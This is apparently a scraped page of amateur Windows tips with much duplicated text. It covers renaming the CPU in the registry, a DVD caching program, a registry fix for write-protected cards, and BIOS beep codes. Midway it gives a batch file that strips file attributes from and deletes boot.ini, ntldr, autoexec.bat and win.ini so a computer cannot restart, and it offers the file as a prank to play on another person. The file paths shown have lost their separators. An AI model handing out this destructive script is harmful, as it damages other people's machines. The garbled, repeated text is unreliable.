You can chage your processor name, using Windows Registry.
For example my processor is P4 but when i open my system information in that it will Show Core 2 Duo.
Changing the Name processor is just for Fun, and also first step of Learning to Edit Registry.
FOLLOW THE BASIC STEPS :
1. Open your Registry : To open your Registry click Run > Regedit and click OK , it will popup a window called Registry Editor
2. In that on the left hand side you can see a tree structure in that click HKEY _LOCAL_MACHINE
3. In that click Hardware > Description > System > CentralProcessor > 1
4. Now you can see many files in the right side, in that double click Processor Name String.After Clicking little Window Will Pop Up
5. In that Write the what ever wish for example core 2 duo, even your name ...etc
6. To chage again do the same....
For example my processor is P4 but when i open my system information in that it will Show Core 2 Duo.
Changing the Name processor is just for Fun, and also first step of Learning to Edit Registry.
FOLLOW THE BASIC STEPS :
1. Open your Registry : To open your Registry click Run > Regedit and click OK , it will popup a window called Registry Editor
2. In that on the left hand side you can see a tree structure in that click HKEY _LOCAL_MACHINE
3. In that click Hardware > Description > System > CentralProcessor > 1
4. Now you can see many files in the right side, in that double click Processor Name String.After Clicking little Window Will Pop Up
5. In that Write the what ever wish for example core 2 duo, even your name ...etc
6. To chage again do the same....
This is an interesting one!!!
This is for those who watch movies on their computer's dvd rom drive!!!
There is a software called dvd idle pro which can really increase the life of your dvd drive. By using the Smart Read-ahead Cache,
DVDIdle saves DVD data which will be played soon onto the hard disk cache or RAM cache, and
then feeds it to DVD player.
This allows the DVD drive to rest.
For example:
a 6X-speed DVD drive will only work for 15 minutes when you are watching a 90 minutes DVD
movie.
here is the link: http://www.dvdidle.com/download/DVDIdlePro59.exe
This is for those who watch movies on their computer's dvd rom drive!!!
There is a software called dvd idle pro which can really increase the life of your dvd drive. By using the Smart Read-ahead Cache,
DVDIdle saves DVD data which will be played soon onto the hard disk cache or RAM cache, and
then feeds it to DVD player.
This allows the DVD drive to rest.
For example:
a 6X-speed DVD drive will only work for 15 minutes when you are watching a 90 minutes DVD
movie.
here is the link: http://www.dvdidle.com/download/DVDIdlePro59.exe
Recently when I tried to copy some files to my mmc using card reader it showed me some error saying the disk is write-protected. Remove the write protection or use another disk.
It was working fine before. I have used this card many times before but it never gave any error and suddenly it started showing this error. After going through some forums I came to know that it happens because of write protection notch but there was no such notch or switch on my card.I kept on searching on more forums and after some time I found one solution to this problem. Follow the steps given below if you are also facing the same problem.
It was working fine before. I have used this card many times before but it never gave any error and suddenly it started showing this error. After going through some forums I came to know that it happens because of write protection notch but there was no such notch or switch on my card.I kept on searching on more forums and after some time I found one solution to this problem. Follow the steps given below if you are also facing the same problem.
- Run Registry Editor (regedit).
- Navigate to the following registry key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
- Right click on control and create new key.
- Name it as StorageDevicePolicies . (Copy and paste it from here if possible)
- Now click on StorageDevicePolicies and in right side pan right click and select create new dword and name it as WriteProtect.
- Double click on it and set its value to 0.
- Now restart your machine and try copying some files to your card.
!....Do not try this at your own computer.....!
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...
REMEMBER - DO NOT CLICK THIS FILE.
YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!
When a Computer is Switched on or Reset the Bios Checks the Hardware of the System through a process called POST or Power On Self Test to verify that the hardware functionality.
1. Testing the Central Processing Unit.
2. Checking the Bios System.
3. Checking the CMOS Configuration.
4. Initializing the Timer.
5. Initializing the DMA Controller.
6. Checking the Ram and Cache Memory.
7. Installing BIOS Functions.
8. Checking Other Configuration.
If Anything Above Fails the Bios Sends an Error Message to the Display Device(Only if the Display device is Initialized before get the error) or Starts a sequence of Beeps which tells the Source of Error or Sends an Error Code to the System's Serial Port.
What are the meanings of Beeps refers to the Error:
1 Short - The Computer has Started Normally With no Errors.
2 Short - CMOS Problem.
1 long and 1 Short - Ram\Motherboard Problem.
1 long and 2 Short - Problem in Graphics Card.
1 long and 3 Short - Problem with the KeyBoard.
1 long and 9 Short - Bios Failure.
3 Beeps - Base 64K Ram Failure.
4 Beeps - Refresh Error.
5 Beeps - Processor Error.
6 Beeps - Problem with the KeyBoard.
8 Beeps - Problem with Graphics Card.
Long incessant Beeps - Ram Problem.
Short incessant Beeps - Power Supply Error
1. Testing the Central Processing Unit.
2. Checking the Bios System.
3. Checking the CMOS Configuration.
4. Initializing the Timer.
5. Initializing the DMA Controller.
6. Checking the Ram and Cache Memory.
7. Installing BIOS Functions.
8. Checking Other Configuration.
If Anything Above Fails the Bios Sends an Error Message to the Display Device(Only if the Display device is Initialized before get the error) or Starts a sequence of Beeps which tells the Source of Error or Sends an Error Code to the System's Serial Port.
What are the meanings of Beeps refers to the Error:
1 Short - The Computer has Started Normally With no Errors.
2 Short - CMOS Problem.
1 long and 1 Short - Ram\Motherboard Problem.
1 long and 2 Short - Problem in Graphics Card.
1 long and 3 Short - Problem with the KeyBoard.
1 long and 9 Short - Bios Failure.
3 Beeps - Base 64K Ram Failure.
4 Beeps - Refresh Error.
5 Beeps - Processor Error.
6 Beeps - Problem with the KeyBoard.
8 Beeps - Problem with Graphics Card.
Long incessant Beeps - Ram Problem.
Short incessant Beeps - Power Supply Error
